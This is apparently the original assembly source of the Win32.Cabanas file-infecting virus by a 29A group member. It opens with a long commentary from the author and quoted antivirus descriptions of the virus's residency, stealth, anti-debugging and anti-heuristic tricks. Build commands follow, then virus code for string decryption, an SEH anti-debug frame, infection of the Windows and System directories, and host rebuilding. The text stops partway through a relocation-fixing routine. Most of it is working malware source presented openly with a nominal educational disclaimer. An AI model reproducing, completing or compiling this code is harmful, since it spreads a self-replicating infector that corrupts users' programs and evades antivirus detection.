;
;                                                  ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
;          Win32.Cabanas.2999                      ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
;          by Jacky Qwerty/29A                      ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
;                                                  ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
;                                                  ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; I'm very proud to introduce the first "resident" WinNT/Win95/Win32s virus.
; Not only it's the first virus stayin resident on NT, but is also the first
; with stealth, antidebuggin and antiheuristic capabilitiez. In short wordz,
; this babe is a "per process" memory resident, size stealth virus infecting
; Portable Executable filez on every existin  Win32-based  system. Those who
; dont know what a "per process" resident virus is, it means a virus staying
; resident inside the host Win32 aplication's private space, monitoring file
; activity and infectin PE filez opened or accesed by such Win32 aplication.
;
; The purpose of this virus is to prove new residency techniquez that can be
; exploited from genuine Win32 infectorz, without all the trouble of writing
; especific driverz for Win95 (VxDs), and WinNT. A genuine Win32 infector is
; a virus bein able to work unmodified across all Win32 platformz available:
; Win95, WinNT and any other future platform suportin the Win32 API interfa-
; ce. So far only Win95 especific virusez have been found, not Win32 genuine
; onez. Make sure to read the complete description about Win32.Cabanas writ-
; ten by P‚ter Sz”r, available at http://www.avp.ch/avpve/newexe/win32/caba-
; nas.stm. U can also read description by Igor Daniloff from Dr.Web, availa-
; ble at http://www.dials.ccas.ru/inf/cabanas.htm as well.
;
; After readin P‚ter Sz”r's description about Win32.Cabanas, i realized he'd
; really made a very serious profesional work. So good that he didnt seem to
; miss any internail detail in  the virus, as if he  had actually writen the
; bug himself or as if he was actually me, hehe. Obviosly, none of the prior
; onez are true. But, nevertheless, i think it's worth to take his work into
; account even from the VX side of the fence. Really i dunno what's left for
; me to say after such description, so i will simply add my own personal co-
; mentz to P‚ter's log. Erm.. btw why dont u join us? heh >8P
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; 1. Technical Description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Win32.Cabanas is the first known 32-bit virus that works under Windows NT
; Server, Windows NT workstation, Windows 95 and Windows 3.x extended with
; Win32s sub-system. It was found in late 1997.
;
; Win32.Cabanas is a per-process memory resident, fast infecting, antidebug-
; ged, partially packed/encrypted, anti-heuristic, semi-stealth virus. The
; "Win32" prefix is not misleading, as the virus is also able to spread in
; all Win32 based systems: Windows NT, Windows 95 and Win32s. The author of
; the virus is a member of the 29A group, the same young virus writer who
; wrote the infamous CAP.A virus.
;
;
; 1.1. Running an infected PE file
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When a Win32.Cabanas infected file is executed, the execution will start
; at the original host entry point. Surprisingly, Cabanas does not touch
; the entry point field in the Image File Header. Instead it patches the
; host program at its entry point. Five bytes at the entry point is replaced
; with a FAR JMP to the address where the original program ended. This can
; be considered as an anti-heuristic feature, as the host entry point value
; in the PE header keeps pointing inside the code section, possibly turning
; off some heuristic flags.
;
; Thus the first JMP points to the real entry point. The first function in
; Cabanas unpacks and decrypts a string table which consists of Win32 KERNEL
; API names. The unpack mechanism is simple but effective enough. Cabanas is
; also an armored virus. It uses "Structured Exception Handling" (typically
; abbreviated as "SEH") as an anti-debug trick. This prevents debugging from
; any application-level debugger, such as TD32.
;
; When the unpack/decryptor function is ready, the virus calls a routine to
; get the original Base Address of KERNEL32.DLL. During infection time, the
; virus searches for GetModuleHandleA and GetModuleHandleW API in the Import
; Table, respectively. When it finds them, it saves a pointer to the actual
; DWORD in the .idata list. Since the loader puts the addresses to this
; table before it executes the virus, Cabanas gets them easily.
;
; If the application does not have a GetModuleHandleA / GetModuleHandleW API
; import, the virus uses a third undocumented way to get the Base Address of
; KERNEL32.DLL by getting it from the ForwarderChain field in the KERNEL32
; import. Actually this will not work under Windows NT, but on Win95 only.
; When the virus has the Base Address/Module Handle of KERNEL32.DLL, it
; calls its own routine to get the address of GetProcAddress function. The
; first method is based on the search of the Import Table during infection
; time. The virus saves a pointer to the .idata section whenever it finds a
; GetProcAddress import in the host. In most cases Win32 applications import
; the GetProcAddress API, thus the virus should not use a secondary routine
; to get the same result. If the first method fails, the virus calls another
; function which is able to search for GetProcAddress export in KERNEL32.
; Such function could be called as GetProcAddress-From-ExportsTable. This
; function is able to search in KERNEL32's Exports Table and find the
; address of GetProcAddress API.
;
; This function is one of the most important ones from the virus point of
; view and it is compatible with all Win32 based systems. If the entry point
; of GetProcAddress was returned by the GetProcAddress-From-ExportsTable
; function, the virus saves this address and use it later on. Otherwise, the
; GetProcAddress-From-ExportsTable function will be used several times. This
; function is also saved with "Structured Exception Handling" to avoid from
; possible exceptions. After this, the virus gets all the API addresses it
; wants to use in a loop. When the addresses are available, Cabanas is ready
; to replicate and call its direct action infection routine.
;
;
; 1.2. Direct action infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The direct action infection part is surprisingly fast. Even though the
; virus goes through all the files in Windows directory, Windows System
; directory and in the current directory respectively, the file infection
; is fast enough to go unnoticed in much systems. This is because the virus
; works with "memory mapped files", a new feature implemented in Win32 based
; systems which simplifies file handling and increases system performance.
;
; First the virus gets the name of Windows directory, then it gets the name
; of Windows System directory and calls the function which searches for non-
; infected executable images. It searches for non directory entries and
; check the size of the files it found.
;
; Files with size dividable by 101 without reminder are assumed to be
; infected. Other files which are too huge will not be infected either.
; After this, the virus checks the file extension, if it matches EXE or
; SCR (screen saver files), the virus opens and maps the file. If the file
; is considered too short, the file is closed. Then it checks the`MZ' marker
; at the beginning of the image. Next it positions to the possible `PE'
; header area and checks the `PE' signature. It also checks that the
; executable was made to run on 386+ machines and looks for the type of
; the file. DLL files are not infected.
;
; After this, the virus calculates a special checksum which uses the
; checksum field of PE files Optional Header and the file-stamp field of
; the Image File Header. If the file seems to be infected the virus closes
; the file. If not, the file is chosen for infection. Cabanas then closes
; the file, blanks the file attribute of the file with SetFileAttributeA API
; and saves the original attributes for later use. This means the virus is
; not stopped by the "Read Only" attribute. Then again, it opens and maps
; the possible host file in read/write mode.
;
; Next it searches for the GetModuleHandleA, GetModuleHandleW and
; GetProcAddress API imports in the host Import Table and calculates
; pointers to the .idata section. Then it calls the routine which
; patches the virus image into the file.
;
; This routine first checks that the .idata section has MEM_WRITE
; characteristics. If not it sets this flag on the section, but only if
; this section is not located in an executable area. This prevents the
; virus from turning on suspicious flags on the code section, triggered
; by some heuristic scanner.
;
; Then it goes to the entry point of the image and replaces five bytes
; with a FAR JMP instruction which will point to the original end of the
; host. After that it checks the relocation table. This is because some
; relocations may overwrite the FAR JMP at the entry point. If the
; relocation table size is not zero the virus calls a special routine
; to search for such relocation entries in the .reloc area. It clears
; the relocation type on the relocation record if it points into the FAR
; JMP area, thus this relocation will not take into account by the loader.
; The routine also marks the relocation, thus Cabanas will be able to
; relocate the host later on. Then it crypts all the information which has
; to be encrypted in the virus body. Including the table which holds the
; original 5 bytes from the entry point and its location.
;
; Next the virus calculates the special checksum for self checking purposes
; and saves this to the time stamp field of the PE header. When everything
; is ready, the virus calculates the full new size of the file and makes
; this value dividable by 101. The real virus code is around 3000 bytes
; only but the files will grow with more bytes, because of this. Cabanas
; has a very important trick here. The virus does not create a new section
; header to hold its code, but patches the last section header in the file
; (usually .reloc) to grow the section body large enough to store the virus
; code. This makes the infection less risky and less noticeable.
;
; Then the virus changes the SizeOfImage field in the PE header to reflect
; the changes made to the last section in the file, then unmaps and closes
; the file. Next it truncates the file at the previously calculated size
; and restores the original time and date stamp. Finally Cabanas resets the
; original attribute of the file. When all the possible files have been
; checked for infection, Cabanas is ready to go memory resident.
;
;
; 1.3. Rebuild the host, Hook API functions and Go memory resident
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The next phase is to rebuild the host program. The virus locates an
; internal parameter block which consists of the previously encrypted code
; from the host (5 bytes) and writes back the 5 original bytes at the entry
; point. After this, it relocates the code area if needed, by searching in
; the .reloc section for marked relocation entries. Next the virus hooks
; API functions and goes memory resident.
;
; The API hooking technique is based on the manipulation of the Import
; Table. Since the host program holds the addresses of imported functions
; in its .idata section, all the virus has to do is to replace those
; addresses to point to its own API handlers.
;
; To make those calculations easy, the virus opens and maps the infected
; program. Then it allocates memory for its per-process part. The virus
; allocates a 12232 bytes block and copies itself into this new allocated
; area. Then it searches for all the possible function names it wants to
; hook: GetProcAddress, GetFileAttributesA, GetFileAttributesW, MoveFileExA,
; MoveFileExW, _lopen, CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW,
; CreateProcessA, CreateProcessW, CreateFileA, CreateFileW, FindClose,
; FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, SetFileAttrA,
; SetFileAttrW. Whenever it finds one of the latter APIs, it saves the
; original address to its own JMP table and replaces the .idata section's
; DWORD (which holds the original address of the API) with a pointer to its
; own API handlers.  Finally the virus closes and unmaps the host and starts
; the application, by jumping into the original entry point in the code
; section.
;
; Some Win32 applications however may not have imports for some of these
; file related APIs, they can rather retrieve their addresses by using
; GetProcAddress and call them directly, thus the virus would be unable
; to hook this calls. Not so fast. The virus also hooks GetProcAddress
; for a special purpose. GetProcAddress is used by most applications.
; When the application calls GetProcAddress the virus new handler first
; calls the original GetProcAddress to get the address of the requested
; API. Then it checks if the Module Handle parameter is from KERNEL32 and
; if the function is one of the KERNEL32 APIs that the virus wants to hook.
; If so, the virus returns a new API address which will point into its
; NewJMPTable. Thus the application will still get an address to the virus
; new handler in such cases as well.
;
;
; 1.4. Stealth and fast infection capabilities
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Cabanas is a semi-stealth virus: during FindFirstFileA,  FindFirstFileW,
; FindNextFileA and FindNextFileW, the virus checks for already infected
; programs. If the program is not infected the virus will infect it,
; otherwise it hides the file size difference by returning the original
; size for the host program. During this, the virus can see all the file
; names the application accesses and infects every single clean file.
;
; Since the CMD.EXE (Command Interpreter of Windows NT) is using the above
; APIs during a DIR command, every non infected file will be infected (if
; the CMD.EXE was infected previously by Win32.Cabanas). The virus will
; infect files during every other hooked API request as well.
;
; Apart from the encrypted API names strings, the virus also contains the
; following copyright message:
;
; (c) Win32.Cabanas v1.0 by jqwerty/29A.
;
;
; 1.5. Conclusion
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Win32.Cabanas is a very complex virus with several features new in Win32
; based systems. It shows quite interesting techniques that can be used in
; the near future. It demonstrates that a Windows NT virus should not have
; any Windows 95 or Windows NT especific functionality in order to work on
; any Win32 system. The "per-process" residency technique also shows a
; portable viable solution to avoid known compatibility issues between
; Windows 95 and Windows NT respecting their low level resident driver
; implementations. Virus writers can use these techniques and their
; knowledge they have had on Windows 95 to come to a more robust platform.
; So far Win32.Cabanas has made this first step.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 2. Shortcutz
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; (*) http://www.dials.ccas.ru/inf/cabanas.htm
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;                     Win32.Cabanas: A brief description
;                     ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                                                           Igor A. Daniloff
;
; Win32.Cabanas is the first known virus that infects files under Microsoft
; 32-bit Windows operating systems (Win32s/Windows 95/Windows NT). Not only
; is it capable of infecting PortableExecutable files, but also remains
; resident in the current session of an infected program in all these
; Windows systems.
;
; The viruses specifically designed for Windows 95 thus far could not
; properly infect files in Windows NT. Although files of Windows 95 and
; Windows NT have identical PE format, certain fields in their PE headers
; are different. Therefore, for infecting files under Windows NT, the PE
; header must be modified appropriately; otherwise Windows NT would display
; an error message in the course of loading the file. Furthermore, viruses
; encounter certain problems in determining the base addresses of WIN32
; KERNEL API in the memory, because KERNEL32.DLL in Windows 95 and Windows
; NT are located at different memory addresses. But Win32.Cabanas smartly
; handles these problems. On starting an infected file, the virus gets
; control, unpacks and decrypts its table of names of WIN32 KERNEL API
; procedures that are needed in the sequel, and then determines the base
; address of KERNEL32.DLL and the addresses of all necessary WIN32 KERNEL
; API functions.
;
; While infecting a file, Win32.Cabanas finds the names of GetModuleHandleA,
; GetModuleHandleW, and GetProcAddress functions from the Import Table and
; stores in its code the offsets of the addresses of these procedures in the
; Import Table (in the segment .idata, as a rule). If the names of these
; procedures are not detectable, Win32.Cabanas uses a different undocumented
; method of finding the base address of KERNEL32 and the addresses of WIN32
; KERNEL API. But there is a bug in this undocumented method; therefore the
; method is inoperative under Windows NT. If the addresses of
; GetModuleHandleA or GetModuleHandleW functions are available in the Import
; Table of the infected file, the virus easily determines the WIN32 KERNEL
; API addresses through the GetProcAddress procedure. If the addresses are
; not available in the Import Table, the virus craftily finds the address of
; GetProcAddress from the Export Table of KERNEL32. As already mentioned,
; this virus mechanism is not operative under Windows NT due to a bug, and,
; as a consequence, the normal "activity" of the virus is disabled. This is
; the only serious bug that prevents the proliferation of Win32.Cabanas
; under Windows NT. On the contrary, in Windows 95 the virus "feels
; completely at home" and straightforwardly (even in the absence of the
; addresses of GetModuleHandleA or GetModuleHandleW) determines the base
; address of KERNEL32.DLL and GetProcAddress via an undocumented method.
;
; Using the GetProcAddress function, Win32.Cabanas can easily get the
; address of any WIN32 KERNEL API procedure that it needs. This is precisely
; what the virus does: it gets the addresses and stores them.
;
; Then Win32.Cabanas initiates its engine for infecting EXE and SCR PE-files
; in \WINDOWS, \WINDOWS\SYSTEM, and the current folder. Prior to infecting a
; file, the virus checks for a copy of its code through certain fields in
; the PE header and by the file size, which for an infected must be a
; multiple of 101. As already mentioned, the virus searches for the names of
; GetModuleHandleA, GetModuleHandleW or GetProcAddress in the Import Table
; and saves the references to their addresses. Then it appends its code at
; the file end in the last segment section (usually, .reloc) after modifying
; the characteristics and size of this section. Thereafter, the virus
; replaces the five initial bytes of the original entry point of the code
; section (usually, .text or CODE) by a command for transferring control to
; the virus code in the last segment section (.reloc). For this purpose, the
; virus examines the relocation table (.reloc) for finding some element in
; the region of bytes that the virus had modified. If any, the virus
; "disables" the reference and stores its address and value for restoring
; the initial bytes of the entry point at the time of transfer of control
; to the host program and, if necessary, for appropriately configuring the
; relocation.
;
; After infecting all files that yield to infection in \WINDOWS, \WINDOWS\
; SYSTEM, and in the current folder, the virus plants a resident copy into
; the system and "intercepts" the necessary system functions. Using
; VirtualAlloc, the virus allots for itself 12232 bytes in the memory and
; plants its code there. Then it tries to "intercept" the following WIN32
; KERNEL API functions: GetProcAddress, GetFileAttributesA,
; GetFileAttributesW, MoveFileExA, MoveFileExW, _loopen, CopyFileA,
; CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA, CreateProcessW,
; CreateFileA, CreateFileW, FindClose, FindFirstFileA, FindFirstFileW,
; FindNextFileA, FindNextFileW, SetFileAttrA, and SetFileAttrW. The virus
; "picks up" the addresses of these functions from the Import Table, and
; writes the addresses of its handlers in the Import Table. On failing to
; "intercept" certain necessary functions, the virus, when the host program
; calls for the GetProcAddress function, verifies whether this function is
; necessary for the host program, and returns the address of the virus
; procedure to host program if necessary. When a program calls for certain
; functions that have been "intercepted" by Win32.Cabanas, the file
; infection  engine and/or the stealth mechanism are\is initialized. Thus,
; when FindFirstFileA, FindFirstFileW, and FindNextFileA or FindNextFileW
; functions are called, the virus may infect the file which is being
; searched and hide the increase in the infected file size.
;
; Win32.Cabanas cannot be regarded as a "true resident" virus, because it
; "intercepts" system functions and installs its copy in a specific memory
; area only in the current session of an infected program. But what will
; happen on starting, for example, an infected Norton Commander for Windows
; 95 or Command Interpreter for Windows NT? Or a resident program? Indeed,
; Win32.Cabanas will also "work hard" side by side with such a program until
; it is terminated.
;
; Win32.Cabanas contains an encrypted text string
; "(c) Win32.Cabanas v1.0 by jqwerty/29A"
;
; (c) 1997 DialogueScience, Inc., Moscow, Russia. All rights reserved.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 3. Main featurez
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; * Platformz:      WindowsNT, Windows95, Win32s, i.e. all Win32 platformz.
; * Residency:      Yes, "Per Process", workin on all Win32 systemz.
; * Non-Residency:  Yes, direct action, infects PEz before goin resident.
; * Stealth:        Yes, size stealth of inf.filez (F-Potatoe95 fooled).
; * AntiDebuging:   Yes, TD32 or any other "aplication" level debuger
;                        generates an exception when debugin an infected
;                        aplication. This obviosly doesnt aply for Soft-ICE
;                        for Windows95, a big monster.
; * AntiHeuristicz: Yes, inf.filez have no obvious symptomz of infection.
;                        Other Win95 virusez tend to "mark" the PE header so
;                        they are easily noticeable. See: Other featurez (e).
; * AntiAntivirus:  Yes, disinfection of inf.filez is almost *imposible*.
; * Fast infection: Yes, filez are infected when accesed for any reason.
; * Polymorphism:    No, the poly engine was stripped and removed on purpose.
; * Other featurez:
;                   (a) The EntryPoint field in the PE hdr is not modified.
;                   (b) Win32 file API functionz are hooked for infection and
;                       stealth purposez but also for platform compatibility.
;                   (c) Use of the Win32 "File-Maping" API functionz, thus
;                       implementin "Memory-Mapped Filez". No more "ReadFile",
;                       "SetFilePointer", "WriteFile"... it was about time.
;                   (d) Absolutely no use of absolute adressez in sake of
;                       compatibility with other future Win32 releasez.
;                   (e) The SHAPE AV program sucks, but sadly it was the best
;                       thing detectin PE infected filez heuristicaly. Well
;                       almost as it didnt triger a single flag on this one :)
;                   (f) Use of "Structured Exception Handling" (SEH) in those
;                       critical code fragmentz that could generate GP faultz,
;                       i.e. exceptionz are intercepted and handled properly.
;                   (g) Unicode suport. This babe really works in NT. No lie.
;
;
; 4. Who was Cabanas?
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Gonzalo Cabanas used to  be a daydream  believer. We shared several thingz
; in comon, heard same R.E.M music  style, wore  the same ragged blue jeanz,
; and behaved like kidz everywhere we went together, putin tackz on the tea-
; cher's chair, stealin some classmate's lunch  and so on. We even liked the
; same girlz, which explains why  we sometimez ended up punchin each other's
; face from time to time. However, u could  find us the next day, smoking a-
; round  by the skoolyard as  if nothin  had ever hapened. We  were the best
; friendz ever. I know this virus wont return him back to life, nor "will do
; him justice", however, i still wanted to somewhat dedicate this program in
; his honor.
;
;
; 5. Greetz
; ÄÄÄÄÄÄÄÄÄ
; The greetz go to:
;
;   Gonzo Cabanas ......... Hope to see u somewhere in time.. old pal!
;   Murkry ................ Whoa.. i like yer high-tech ideaz budie!
;   VirusBuster/29A ....... U're the i-net man pal.. keep doin it!
;   Vecna/29A ............. Keep up the good work budie.. see ya!
;   l- .................... Did ya ask for some kick-ass lil' creature? X-D
;   Int13 ................. Hey pal.. u're also a southamerican rocker! ;)
;   Peter/F-Potatoe ....... Yer description rulez.. Mikko's envy shines!
;   DV8 (H8), kdkd, etc ... Hey budiez.. now where da hell are u?
;   GriYo, Sandy/29A ...... Thx for yer patience heh X-D
;
;
; 6. Disclaimer
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This source code is for educational  purposez only. The author is not res-
; ponsable for any problemz caused due to the assembly of this file.
;
;
; 7. Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn cabanas.asm
; tlink32 -Tpe -c -x -aa cabanas,,, import32
; pewrsec cabanas.exe
;
;
; (c) 1997 Jacky Qwerty/29A.


.386p           ;generate 386+ protected mode instructionz
.model  flat    ;no segmentz and a full 32-bit offset.. what a dream ;)

;Some includez containin very useful structurez and constantz for Win32

include Useful.inc
include Win32API.inc
include MZ.inc
include PE.inc

;Some equ's needed by the virus

nAPIS           =       1*1024         ;size of jump table holdin hooked APIz
nHANDLEZ        =       2*1024 + 512   ;size of Handlez table
nPATHNAMEZ      =       4*1024 + 512   ;size of PathNamez table

extrn   GetModuleHandleA :proc  ;APIz used durin first generation only
extrn   GetProcAddress   :proc

.data
        db      ?       ;some dummy data so tlink32 dont yell

.code

;Virus code starts here

v_start:

        call    get_base

code_table:

        dd      12345678h       ;host RVA entry point
        dw      1               ;number of bytez
        db      ?               ;bytez to patch
        dw      0               ;end of parameter block

code_start:

;Packed APIz needed by the virus. They will travel in packed/encrypted form

ve_stringz:

veszKernel32            db      'KERNEL32',0
veszGetModuleHandleA    db      'GetModuleHandleA'
veszGetModuleHandleW    db      80h,17

eExts                   db      'fxEtcR',0      ;list of file extensionz

veszGetProcAddress      db      'GetProcAddress',0
veszGetFileAttributesA  db      'Ge','t'+80h,'AttributesA'
veszGetFileAttributesW  db      80h,19
veszMoveFileExA         db      'Mov','e'+80h,'ExA'
veszMoveFileExW         db      80h,12
vesz_lopen              db      '_lopen',0
veszCopyFileA           db      'Cop','y'+80h,'A'
veszCopyFileW           db      80h,10
veszOpenFile            db      'Ope','n'+80h,0
veszMoveFileA           db      'Mov','e'+80h,'A'
veszMoveFileW           db      80h,10
veszCreateProcessA      db      'CreateProcessA'
veszCreateProcessW      db      80h,15
veszCreateFileA         db      'Creat','e'+80h,'A'
veszCreateFileW         db      80h,12
veszFindClose           db      'FindClose',0
veszFindFirstFileA      db      'FindFirs','t'+80h,'A'
veszFindFirstFileW      db      80h,15
veszFindNextFileA       db      'FindNex','t'+80h,'A'
veszFindNextFileW       db      80h,14
veszSetFileAttributesA  db      'Se','t'+80h,'AttributesA'
veszSetFileAttributesW  db      80h,19
veszCloseHandle         db      'CloseHandle',0
veszCreateFileMappingA  db      'Creat','e'+80h,'MappingA',0
veszMapViewOfFile       db      'MapViewO','f'+80h,0
veszUnmapViewOfFile     db      'UnmapViewO','f'+80h,0
veszSetFilePointer      db      'Se','t'+80h,'Pointer',0
veszSetEndOfFile        db      'SetEndO','f'+80h,0
veszSetFileTime         db      'Se','t'+80h,'Time',0
veszGetWindowsDirectory db      'GetWindowsDirectoryA',0
veszGetSystemDirectory  db      'GetSystemDirectoryA',0
veszGetCurrentProcess   db      'GetCurrentProcess',0
veszGetModuleFileName   db      'GetModul','e'+80h,'NameA',0
veszWriteProcessMemory  db      'WriteProcessMemory',0
veszWideCharToMultiByte db      'WideCharToMultiByte',0
veszVirtualAlloc        db      'VirtualAlloc',0

eEndOfFunctionNamez     db      0

;Copyright and versionz

eszCopyright    db      "(c) Win32.Cabanas v1.1 by jqwerty/29A.",0

ve_string_size  =       $ - ve_stringz

get_base:

        mov     ecx,ve_string_size      ;get size of packed/encrypted stringz
        mov     esi,[esp]               ;get pointer to packed/encrypted stringz
        xor     ebx,ebx
        mov     eax,esi
        sub     esi,ecx
        cld
        sub     dword ptr [esp],code_table - seh_fn
        add     esi,[eax - 4]
        push    dword ptr fs:[ebx]      ;set SEH frame.. ever seen FS in action? X-D
        lea     edi,[esi + pCodeTable - ve_stringz]
        stosd                           ;save pointer to code_table
        add     eax,12345678h
delta_host =    dword ptr $ - 4
        stosd                           ;save actual host base adress
        mov     eax,esi
        stosd                           ;save pointer to virus start

ebp_num =       ddGetProcAddress + 7Fh
tmp_edi =       pcode_start + 4

        mov     fs:[ebx],esp
        pushad
        xchg    eax,[ebx - 2]           ;go away lamerz and wannabeez..
        db      2Dh

seh_rs: sub     edi,tmp_edi - v_stringz ;get pointer to KERNEL32 API name
        pop     eax
        push    edi                     ;pass the pointer twice
        push    edi

decrypt_stringz:                ;decrypt/unpack API namez and other stringz

        lodsb
        rol     al,cl
        xor     al,0B5h
        jns     d_stor
        add     al,-80h
        jnz     d_file
        stosb                   ;expand/unpack unicode API name
        xor     eax,eax
        lodsb
        push    esi
        xchg    ecx,eax
        mov     esi,edx
        rep     movsb
        xchg    ecx,eax
        sub     byte ptr [edi - 2],'A'-'W'
        pop     esi
        jmp     d_updt
d_file: stosb
        xor     eax,eax
        sub     eax,-'eliF'     ;expand to 'File' where aplies
        stosd
        cmp     al,?
        org     $ - 1
d_stor: stosb
        jnz     d_loop
d_updt: mov     edx,edi
d_loop: loop    decrypt_stringz ;get next character

        call    MyGetModuleHandleA      ;get KERNEL32 base adress (first try)
        pop     esi
        jnz     gotK32                  ;jump if found
        sub     ecx,ecx
        xor     eax,eax
        mov     cl,9
        push    edi
        cld

copy_K32W:      ;make unicode string for KERNEL32

        lodsb
        stosw
        loop    copy_K32W
        call    MyGetModuleHandleW      ;get KERNEL32 base adress (second try)
        jnz     gotK32                  ;jump if found
        call    MyGetModuleHandleX      ;get KERNEL32 base adress (third try)
        jnz     gotK32                  ;jump if found

quit_app:

        pop     eax             ;shit.. KERNEL32 base adress not found
        ret                     ;try to quit aplication via an undocumented way

        db      67h                             ;some prefix to confuse lamerz
seh_fn: mov     eax,[esp.EH_EstablisherFrame]
        lea     esp,[eax - cPushad]
        popad
        xor     eax,eax
        lea     ebp,[edi + ebp_num - tmp_edi]
        pop     dword ptr fs:[eax]              ;remove SEH frame
        jmp     seh_rs

gotK32: mov     [ebp + K32Mod - ebp_num],eax    ;store KERNEL32 base adress
        cmp     dword ptr [ebp + ddGetProcAddress - ebp_num],0
        xchg    ebx,eax
        jnz     find_APIs               ;got RVA pointer to GetProcAdress API?
        lea     esi,[ebp + vszGetProcAddress - ebp_num]
        call    MyGetProcAddressK32     ;no, get adress of GetProcAdress directly
        jecxz   find_APIs
        lea     eax,[ebp + ddGetProcAddress2 - ebp_num]
        mov     [eax],ecx
        sub     eax,[ebp + phost_hdr - ebp_num]
        mov     [ebp + ddGetProcAddress - ebp_num],eax

find_APIs:      ;find file related API adressez from KERNEL32..

        lea     esi,[ebp + FunctionNamez - ebp_num]
        lea     edi,[ebp + FunctionAdressez - ebp_num]

GetAPIAddress:

        call    MyGetProcAddressK32     ;get API adress
        jecxz   quit_app
        cld
        xchg    eax,ecx
        stosd                           ;save retrieved API adress
        @endsz                          ;point to next API name
        cmp     [esi],al                ;end of API namez reached?
        jnz     GetAPIAddress           ;no, get next API adress

        lea     ebx,[ebp + Process_Dir - ebp_num]
        lea     edi,[ebp + PathName - ebp_num]
        push    7Fh
        push    edi
        call    [ebp + ddGetWindowsDirectoryA - ebp_num]
        call    ebx                     ;infect filez in WINDOWS directory
        push    7Fh
        push    edi
        call    [ebp + ddGetSystemDirectoryA - ebp_num]
        call    ebx                     ;infect filez in SYSTEM directory
        xor     eax,eax
        mov     byte ptr [edi],'.'
        inc     eax
        call    ebx                     ;infect filez in current directory

build_host:     ;rebuild the host..

        mov     esi,[ebp + pCodeTable - ebp_num] ;get code table of host
        mov     ebx,[ebp + phost_hdr - ebp_num]  ;get host base adress
        cld
        lodsd
        add     eax,0B2FD26A3h          ;decrypt original entry point RVA
add_1st_val =   dword ptr $ - 4
        xchg    edi,eax
        add     edi,ebx
        push    edi                     ;save entry point for l8r retrieval

get_count:

        call    [ebp + ddGetCurrentProcess - ebp_num]   ;get pseudo-handle for current process
        xchg    ecx,eax
        cld
        lodsw                   ;get number of bytes to copy
        cwde
        xchg    ecx,eax
        mov     edx,ecx
        push    ecx     ;push parameterz to WriteProcessMemory API
        push    eax
        push    esp     
        push    ecx
        push    esi
        push    edi
        push    eax

decrypt_hostcode:       ;decrypt the chunk of original host code previosly encrypted..

        lodsb
        xor     al,06Ah
xor_2nd_val =   byte ptr $ - 1
        rol     al,cl
        mov     [esi-1],al
        loop    decrypt_hostcode
        sub     ecx,12345678h
old_base =      dword ptr $ - 4
        add     ecx,ebx         ;has host base adress been relocated?
        jz      write_chunk     ;no, relocation fix not necesary.. jump

        ;fix code pointed to by one or more nulified relocationz..

        pushad                          ;get RVA start of relocation section..
        lea     esi,[ebx.MZ_lfanew]
        sub     edi,ebx
        add     esi,[esi]
        mov     ecx,[esi.NT_OptionalHeader      \ ;get size of relocation dir.
                        .OH_DirectoryEntries    \
                        .DE_BaseReloc           \
                        .DD_Size                \
                        -MZ_lfanew]
        jecxz   _popad
        mov     esi,[esi.NT_OptionalHeader      \ ;get RVA to relocation section
                        .OH_DirectoryEntries    \
                        .DE_BaseReloc           \
                        .DD_VirtualAddress      \
                        -MZ_lfanew]
        call    redo_reloc      ;pass adress of fix_relocs label as a parameter

fix_relocs:  ;process relocation block and look for nulified relocationz..

        lodsw                                   ;get relocation item
        cwde
        dec     eax
        .if     sign?
        jnc     f_next_reloc                    ;if first item, jump to get next relocation item
        .endif
        test    ah,mask RD_RelocType shr 8      ;is relocation nulified?
        jnz     f_next_reloc                    ;no, jump to get next relocation item
        lea     eax,[eax + ebx + 5]
        cmp     edi,eax                         ;relocation item points inside chunk of code?
        jnc     f_next_reloc                    ;no, jump to get next relocation item
        add     eax,-4
        cmp     eax,edx
        jnc     f_next_reloc                    ;no, jump to get next relocation item

        ;relocation item is pointing inside chunk of code.. add delta to fix it..

        pushad
        mov     ebx,[esp.(4*Pshd).cPushad.Pushad_ebx] ;get actual host base adress
        mov     ebp,[ebx + edi - 4]
        mov     ecx,[esp.(3*Pshd).(2*cPushad).Arg3]   ;get pointer to chunk of code inside code table
        mov     ebx,[ebx + edx]
        xchg    ebp,[ecx - 4]
        sub     ecx,edi
        mov     esi,[esp.(4*Pshd).cPushad.Pushad_ecx] ;get relocation delta to add
        xchg    ebx,[edx + ecx]
